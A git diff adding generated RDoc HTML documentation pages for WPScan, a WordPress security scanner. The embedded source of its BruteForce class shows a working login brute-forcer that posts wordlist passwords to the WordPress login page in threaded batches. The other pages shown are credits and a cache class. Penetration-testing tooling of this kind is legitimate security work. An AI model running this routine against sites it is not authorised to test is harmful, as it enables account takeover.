+<span class="ruby-comment"># File lib/wpscan/modules/brute_force.rb, line 114</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">lines_in_file</span>(<span class="ruby-identifier">file_path</span>)
+  <span class="ruby-identifier">lines</span> = <span class="ruby-value">0</span>
+  <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">file_path</span>, <span class="ruby-string">'r'</span>).<span class="ruby-identifier">each</span> { <span class="ruby-operator">||</span> <span class="ruby-identifier">lines</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span> }
+  <span class="ruby-identifier">lines</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- lines_in_file-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- lines_in_file-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="brute_force-method" class="method-detail ">
+          <a name="method-i-brute_force"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">brute_force</span><span
+              class="method-args">(logins, wordlist_path)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>param array of string logins param string wordlist_path</p>
+            
+
+            
+            <div class="method-source-code" id="brute_force-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/brute_force.rb, line 23</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">brute_force</span>(<span class="ruby-identifier">logins</span>, <span class="ruby-identifier">wordlist_path</span>)
+  <span class="ruby-identifier">hydra</span>               = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">hydra</span>
+  <span class="ruby-identifier">number_of_passwords</span> = <span class="ruby-constant">BruteForce</span>.<span class="ruby-identifier">lines_in_file</span>(<span class="ruby-identifier">wordlist_path</span>)
+  <span class="ruby-identifier">login_url</span>           = <span class="ruby-identifier">login_url</span>()
+  <span class="ruby-identifier">found</span>               = []
+
+  <span class="ruby-identifier">logins</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">login</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">queue_count</span>    = <span class="ruby-value">0</span>
+    <span class="ruby-identifier">request_count</span>  = <span class="ruby-value">0</span>
+    <span class="ruby-identifier">password_found</span> = <span class="ruby-keyword">false</span>
+
+    <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">wordlist_path</span>, <span class="ruby-string">&quot;r&quot;</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">password</span><span class="ruby-operator">|</span>
+
+      <span class="ruby-comment"># ignore file comments, but will miss passwords if they start with a hash...</span>
+      <span class="ruby-keyword">next</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">password</span>[<span class="ruby-value">0</span>,<span class="ruby-value">1</span>] <span class="ruby-operator">==</span> <span class="ruby-node">&quot;#&quot;</span>
+
+      <span class="ruby-comment"># keep a count of the amount of requests to be sent</span>
+      <span class="ruby-identifier">request_count</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
+      <span class="ruby-identifier">queue_count</span>   <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
+
+      <span class="ruby-comment"># create local vars for on_complete call back, Issue 51.</span>
+      <span class="ruby-identifier">username</span> = <span class="ruby-identifier">login</span>.<span class="ruby-identifier">name</span>
+      <span class="ruby-identifier">password</span> = <span class="ruby-identifier">password</span>
+
+      <span class="ruby-comment"># the request object</span>
+      <span class="ruby-identifier">request</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">login_url</span>,
+        {
+          <span class="ruby-value">:method</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:post</span>,
+          <span class="ruby-value">:params</span> =<span class="ruby-operator">&gt;</span> {<span class="ruby-value">:log</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">username</span>, <span class="ruby-value">:pwd</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">password</span>},
+          <span class="ruby-value">:cache_timeout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+        }
+      )
+
+      <span class="ruby-comment"># tell hydra what to do when the request completes</span>
+      <span class="ruby-identifier">request</span>.<span class="ruby-identifier">on_complete</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">response</span><span class="ruby-operator">|</span>
+
+        <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;\n  Trying Username : #{username} Password : #{password}&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-ivar">@verbose</span>
+
+        <span class="ruby-keyword">if</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/login_error/</span>
+          <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;\nIncorrect username and/or password.&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-ivar">@verbose</span>
+        <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">302</span>
+          <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;\n  &quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">green</span>(<span class="ruby-string">&quot;[SUCCESS]&quot;</span>) <span class="ruby-operator">+</span> <span class="ruby-node">&quot; Username : #{username} Password : #{password}\n&quot;</span>
+          <span class="ruby-identifier">found</span> <span class="ruby-operator">&lt;&lt;</span> { <span class="ruby-value">:name</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">username</span>, <span class="ruby-value">:password</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">password</span> }
+          <span class="ruby-identifier">password_found</span> = <span class="ruby-keyword">true</span>
+        <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">timed_out?</span>
+          <span class="ruby-identifier">puts</span> <span class="ruby-identifier">red</span>(<span class="ruby-string">&quot;ERROR:&quot;</span>) <span class="ruby-operator">+</span> <span class="ruby-string">&quot; Request timed out.&quot;</span>
+        <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
+          <span class="ruby-identifier">puts</span> <span class="ruby-identifier">red</span>(<span class="ruby-string">&quot;ERROR:&quot;</span>) <span class="ruby-operator">+</span> <span class="ruby-string">&quot; No response from remote server. WAF/IPS?&quot;</span>
+        <span class="ruby-comment"># code is a fixnum, needs a string for regex</span>
+        <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/^50/</span>
+          <span class="ruby-identifier">puts</span> <span class="ruby-identifier">red</span>(<span class="ruby-string">&quot;ERROR:&quot;</span>) <span class="ruby-operator">+</span> <span class="ruby-string">&quot; Server error, try reducing the number of threads.&quot;</span>
+        <span class="ruby-keyword">else</span>
+          <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;\n&quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">red</span>(<span class="ruby-string">&quot;ERROR:&quot;</span>) <span class="ruby-operator">+</span> <span class="ruby-node">&quot; We recieved an unknown response for #{password}...&quot;</span>
+          <span class="ruby-keyword">if</span> <span class="ruby-ivar">@verbose</span>
+            <span class="ruby-identifier">puts</span> <span class="ruby-identifier">red</span>(<span class="ruby-node">&quot;Code: #{response.code.to_s}&quot;</span>)
+            <span class="ruby-identifier">puts</span> <span class="ruby-identifier">red</span>(<span class="ruby-node">&quot;Body: #{response.body}&quot;</span>)
+            <span class="ruby-identifier">puts</span>
+          <span class="ruby-keyword">end</span>
+        <span class="ruby-keyword">end</span>
+      <span class="ruby-keyword">end</span>
+
+      <span class="ruby-comment"># move onto the next username if we have found a valid password</span>
+      <span class="ruby-keyword">break</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">password_found</span>
+
+      <span class="ruby-comment"># queue the request to be sent later</span>
+      <span class="ruby-identifier">hydra</span>.<span class="ruby-identifier">queue</span>(<span class="ruby-identifier">request</span>)
+
+      <span class="ruby-comment"># progress indicator</span>
+      <span class="ruby-identifier">print</span> <span class="ruby-node">&quot;\r  Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete.&quot;</span>
+
+      <span class="ruby-comment"># it can take a long time to queue 2 million requests,</span>
+      <span class="ruby-comment"># for that reason, we queue @threads, send @threads, queue @threads and so on.</span>
+      <span class="ruby-comment"># hydra.run only returns when it has recieved all of its,</span>
+      <span class="ruby-comment"># responses. This means that while we are waiting for @threads,</span>
+      <span class="ruby-comment"># responses, we are waiting...</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">queue_count</span> <span class="ruby-operator">&gt;=</span> <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">max_threads</span>
+        <span class="ruby-identifier">hydra</span>.<span class="ruby-identifier">run</span>
+        <span class="ruby-identifier">queue_count</span> = <span class="ruby-value">0</span>
+        <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;Sent #{Browser.instance.max_threads} requests ...&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-ivar">@verbose</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-comment"># run all of the remaining requests</span>
+    <span class="ruby-identifier">hydra</span>.<span class="ruby-identifier">run</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">found</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- brute_force-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- brute_force-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/CREDITS.html b/doc/CREDITS.html
new file mode 100644
index 00000000..de771b21
--- /dev/null
+++ b/doc/CREDITS.html
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: CREDITS [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="./rdoc.css" rel="stylesheet" />
+
+  <script src="./js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file">
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    
+<p>*<b><a href="CREDITS.html">CREDITS</a></b>*</p>
+
+<p>This file is to give credit to WPScan’s contributors. If you feel your name
+should be in here, email ryandewhurst at gmail.</p>
+
+<p>*WPScan Team*</p>
+
+<p>Erwan.LR - @erwan_lr - (Project Developer) Gianluca Brindisi - @gbrindisi
+(Project Developer) Ryan Dewhurst - @ethicalhack3r (Project Lead)</p>
+
+<p>*Other Contributors*</p>
+
+<p>Alip AKA Undead - alip.aswalid at gmail.com michee08 - Reported and gave
+potential solutions to bugs. Callum Pember - Implemented proxy support -
+callumpember at gmail.com g0tmi1k - Additional timthumb checks + bug
+reports. Melvin Lammerts - Reported a couple of fake vulnerabilities -
+melvin at 12k.nl Christian Mehlmauer - @<em>FireFart</em> - Theme
+enumeration</p>
+
+  </div>
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+</body>
+</html>
+
diff --git a/doc/CacheFileStore.html b/doc/CacheFileStore.html
new file mode 100644
index 00000000..8d0b8139
--- /dev/null
+++ b/doc/CacheFileStore.html
@@ -0,0 +1,461 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: CacheFileStore</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/cache_file_store_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/cache_file_store.rb">lib/cache_file_store.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-clean">#clean</a></li>
+          
+          <li><a href="#method-i-get_entry_file_path">#get_entry_file_path</a></li>
+          
+          <li><a href="#method-i-read_entry">#read_entry</a></li>
+          
+          <li><a href="#method-i-write_entry">#write_entry</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">CacheFileStore</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="serializer-attribute-method" class="method-detail">
+          <a name="serializer"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">serializer</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="storage_path-attribute-method" class="method-detail">
+          <a name="storage_path"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">storage_path</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(storage_path, serializer = Marshal)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>The serializer must have the 2 methods .load and .dump (Marshal and YAML
+have them) YAML is Human Readable, contrary to Marshal which store in a
+binary format Marshal does not need any “require”</p>
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/cache_file_store.rb, line 34</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">storage_path</span>, <span class="ruby-identifier">serializer</span> = <span class="ruby-constant">Marshal</span>)
+  <span class="ruby-ivar">@storage_path</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">storage_path</span>)
+  <span class="ruby-ivar">@serializer</span> = <span class="ruby-identifier">serializer</span>
+
+  <span class="ruby-comment"># File.directory? for ruby &lt;= 1.9 otherwise, it makes more sense to do Dir.exist? :/</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span>(<span class="ruby-ivar">@storage_path</span>)
+    <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">mkdir</span>(<span class="ruby-ivar">@storage_path</span>)
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="clean-method" class="method-detail ">
+          <a name="method-i-clean"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">clean</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="clean-source">
+<pre>
+<span class="ruby-comment"># File lib/cache_file_store.rb, line 44</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">clean</span>
+  <span class="ruby-constant">Dir</span>[<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-ivar">@storage_path</span>, <span class="ruby-string">'*'</span>)].<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
+    <span class="ruby-constant">File</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">f</span>)
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- clean-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- clean-method -->
+
+      
+        <div id="get_entry_file_path-method" class="method-detail ">
+          <a name="method-i-get_entry_file_path"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_entry_file_path</span><span
+              class="method-args">(key)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="get_entry_file_path-source">
+<pre>
+<span class="ruby-comment"># File lib/cache_file_store.rb, line 66</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_entry_file_path</span>(<span class="ruby-identifier">key</span>)
+  <span class="ruby-ivar">@storage_path</span> <span class="ruby-operator">+</span> <span class="ruby-string">'/'</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">key</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_entry_file_path-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_entry_file_path-method -->
+
+      
+        <div id="read_entry-method" class="method-detail ">
+          <a name="method-i-read_entry"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">read_entry</span><span
+              class="method-args">(key)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="read_entry-source">
+<pre>
+<span class="ruby-comment"># File lib/cache_file_store.rb, line 50</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">read_entry</span>(<span class="ruby-identifier">key</span>)
+  <span class="ruby-identifier">entry_file_path</span> = <span class="ruby-identifier">get_entry_file_path</span>(<span class="ruby-identifier">key</span>)
+
+  <span class="ruby-keyword">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">entry_file_path</span>)
+    <span class="ruby-keyword">return</span> <span class="ruby-ivar">@serializer</span>.<span class="ruby-identifier">load</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">read</span>(<span class="ruby-identifier">entry_file_path</span>))
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- read_entry-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- read_entry-method -->
+
+      
+        <div id="write_entry-method" class="method-detail ">
+          <a name="method-i-write_entry"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">write_entry</span><span
+              class="method-args">(key, data_to_store, cache_timeout)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="write_entry-source">
+<pre>
+<span class="ruby-comment"># File lib/cache_file_store.rb, line 58</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">write_entry</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">data_to_store</span>, <span class="ruby-identifier">cache_timeout</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">cache_timeout</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+    <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">get_entry_file_path</span>(<span class="ruby-identifier">key</span>), <span class="ruby-string">'w'</span>) <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">f</span>.<span class="ruby-identifier">write</span>(<span class="ruby-ivar">@serializer</span>.<span class="ruby-identifier">dump</span>(<span class="ruby-identifier">data_to_store</span>))
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- write_entry-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- write_entry-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Exploit.html b/doc/Exploit.html
new file mode 100644
index 00000000..d1f36c7f
--- /dev/null
+++ b/doc/Exploit.html
